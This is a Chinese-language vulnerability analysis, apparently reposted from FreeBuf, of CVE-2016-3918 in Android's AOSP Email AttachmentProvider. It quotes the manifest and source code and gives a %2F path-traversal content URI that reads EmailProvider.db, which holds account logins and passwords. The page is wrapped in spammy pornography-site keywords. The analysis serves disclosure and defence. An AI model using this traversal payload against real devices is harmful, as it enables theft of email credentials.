成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

一個漏洞泄露你的郵箱的所有秘密

安全 漏洞
多款主流手機機型的自帶電子郵件客戶端都存在該問題,如小米 NOTE、華為P9、三星S5等機型,為了賬戶的安全,請使用存在漏洞手機的用戶暫停使用電子郵件客戶端并清除賬戶信息,換至其他郵件客戶端。

[[173788]]

谷歌近期對外公布了2016年10月的Nexus Security Bulletin ,這其中包含一個由360手機衛士阿爾法團隊(Alpha Team)提交的電子郵件信息泄露漏洞(CVE-2016-3918 ),谷歌對此漏洞的評級為高危險等級。該漏洞可導致惡意應用獲取到電子郵件內的數據,可能是電子郵件內容、電子郵件附件甚至賬號密碼。目前谷歌已經修復該漏洞并向OEM廠商推送了補丁,本文將對此漏洞進行分析。

本文的測試環境和代碼版本如下:

  • SDK Version: 23,
  • Android 6.0.1 Build: MOB30Y
  • Branch: android-6.0.1_r60

漏洞成因

在Android AOSP的Email應用程序的源碼中,我們可以看到在AndroidManifest.xml 文件中存在名為AttachmentProvider的ContentProvider。

  1. <provider 
  2.  android:name=".provider.AttachmentProvider" 
  3.  android:authorities="com.android.email.attachmentprovider" 
  4.  android:grantUriPermissions="true" 
  5.  android:exported="true" 
  6.  android:readPermission="com.android.email.permission.READ_ATTACHMENT" 
  7.  /> 

其主要屬性如下:

  • exported true即對外開放
  • authorities com.android.email.attachmentprovider 即URI唯一標識
  • readPermission com.android.email.permission.READ_ATTACHMENT 即讀取需要此權限

通過查詢我們可以了解到com.android.email.permission.READ_ATTACHMENT權限的protectionLevel為 dangerous,即可被第三方應用獲取到。

  1. <permission 
  2. android:name="com.android.email.permission.READ_ATTACHMENT" 
  3. android:permissionGroup="android.permission-group.MESSAGES" 
  4. android:protectionLevel="dangerous" 
  5. android:label="@string/permission_read_attachment_label" 
  6.  android:description="@string/permission_read_attachment_desc"/> 

在確定此ContentProvider可以被第三方應用接觸到之后,我們定位AttachmentProvider的源碼。 源碼路徑如下:

  1. /packages/apps/Email/provider_src/com/android/email/provider/AttachmentProvider.java 

通過閱讀源碼我們可以發現AttachmentProvider中實現了一個public的openFile 接口,該接口會返回一個ParcelFileDescriptor類型的對象供調用者打開文件。

  1. public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException { 

進入openFile接口立刻就會判斷mode值是否為 "w" ,如果為w則會返回一個可寫的文件描述符。但在返回之前,函數的實現代碼進行了權限檢查,如果調用者沒有com.android.email.permission.ACCESS_PROVIDER 權限的話是會拋異常的。而該權限的聲明如下:

  1. <permission 
  2.  android:name="com.android.email.permission.ACCESS_PROVIDER" 
  3.  android:protectionLevel="signature" 
  4.  android:label="@string/permission_access_provider_label" 
  5.  android:description="@string/permission_access_provider_desc"/> 

可以看到該權限是無法被第三方應用獲取到的,所以獲取可寫的權限是不可行的。 繼續往下分析代碼。

  1. List<String> segments = uri.getPathSegments(); 
  2. String accountId = segments.get(0); 
  3. String id = segments.get(1); 
  4. String format = segments.get(2); 
  5. if (AttachmentUtilities.FORMAT_THUMBNAIL.equals(format)) {  
  6. int width = Integer.parseInt(segments.get(3));  
  7. int height = Integer.parseInt(segments.get(4)); 
  8.  ... 
  9. else { 
  10.  return ParcelFileDescriptor.open(  
  11. new File(getContext().getDatabasePath(accountId + ".db_att"), id), 
  12.  ParcelFileDescriptor.MODE_READ_ONLY); 

接下來一系列代碼會從uri.getPathSegments()中分割開不同的字段,并從中讀取相應的配置參數。 當 format參數不等于"THUMBNAIL"時,該代碼將會直接返回一個getDatabasePath()該目錄下名為id 的文件的文件描述符。 而id參數是上面從uri.getPathSegments().get(1) 得到的,獲取之后則沒有任何處理。 uri.getPathSegments()方法的作用是將字符串以"/"進行分割,但由于其沒有對經過url 編碼的字符串進行解碼,導致在處理過程中,對于/編碼之后的%2f則將不做處理,從而繞過getPathSegments的分割。

漏洞利用

根據上面我們對于代碼的分析,可以得出AttachmentProvider的uri如下:

  1. content://accountId/id/format/width/height 

我們如果想利用此漏洞讀取數據,為使程序流能夠成功運行至目標位置,需要構造如下uri

  1. content://com.android.email.attachmentprovider/1/file_position/1/1/1 

而且,getDatabasePath()的目錄是/data/user/0/com.android.email/databases/,如果我們要讀取Email 郵件的數據,則需要跳轉至目標目錄/data/data/com.android.email/來讀取Email應用的sqlite數據庫文件,我們需要構造如下 uri:

  1. content://com.android.email.attachmentprovider/1/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.android.email%2Fdatabases%2FEmailProvider.db/1/1/1 

而EmailProvider.db中存儲了我們已登陸賬戶的賬戶名和密碼,對應的結構為HostAuth表的login和password 字段。 我們構造的PoC截圖如下:

總結

至此,CVE-2016-3918漏洞的分析和利用已經完成。 經過我們的測試,目前多款主流手機機型的自帶電子郵件客戶端都存在該問題,如小米 NOTE、華為P9、三星S5等機型,為了賬戶的安全,請使用存在漏洞手機的用戶暫停使用電子郵件客戶端并清除賬戶信息,換至其他郵件客戶端。

責任編輯:武曉燕 來源: FreeBuf
相關推薦

2020-09-21 06:43:59

AtomicIntegNumber內存

2012-07-19 09:41:18

郵箱泄露安全漏洞

2010-03-23 10:59:14

2015-02-12 16:34:55

2017-03-31 09:35:14

Android函數Android庫

2010-09-04 10:49:16

數據泄密DLPCheck Point

2016-03-03 14:29:15

2020-04-27 11:24:14

漏洞iPhone蘋果

2009-03-24 09:29:51

職業生涯生活方式創業

2015-09-24 14:24:13

2011-04-13 09:06:31

JavaScript

2014-07-21 11:53:14

2022-07-22 15:40:26

Atlassian服務器漏洞

2017-12-07 15:05:50

全球互聯網創新峰會

2014-06-10 13:47:13

2009-06-23 14:08:00

Java Socket

2023-03-20 20:44:45

2015-04-30 08:03:36

2015-02-10 14:32:37

XSS漏洞XSS

2021-03-08 10:49:11

漏洞攻擊網絡安全
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: a免费视频 | 国产婷婷精品 | 国产精品一二区 | 久久久久久久久蜜桃 | 日韩精品免费 | 国产精品国产三级国产aⅴ浪潮 | 一级黄色毛片a | 国产精品日韩欧美一区二区三区 | 一级无毛片 | 久久美国 | 一区视频在线免费观看 | 欧美一级观看 | 日韩在线成人 | 欧美在线成人影院 | 国产日韩一区二区三区 | 精品日韩一区二区 | 亚洲免费人成在线视频观看 | 日本电影韩国电影免费观看 | 一区二区三区国产精品 | 日韩午夜影院 | 国内精品久久久久久影视8 最新黄色在线观看 | 精品国产乱码久久久久久88av | 国产亚洲黄色片 | 亚洲精品免费视频 | 精品免费视频一区二区 | xxxxx免费视频 | 中文字幕 在线观看 | 日韩网站免费观看 | 精品视频一区二区 | 国产激情偷乱视频一区二区三区 | 一级黄色毛片免费 | 欧美午夜精品久久久久免费视 | 阿v视频在线观看 | 欧美日韩一区二区三区不卡视频 | 高清人人天天夜夜曰狠狠狠狠 | 国产一区二区三区 | 免费一区二区三区在线视频 | 亚洲性视频 | 精品成人在线观看 | 精品动漫一区 | 午夜精品91|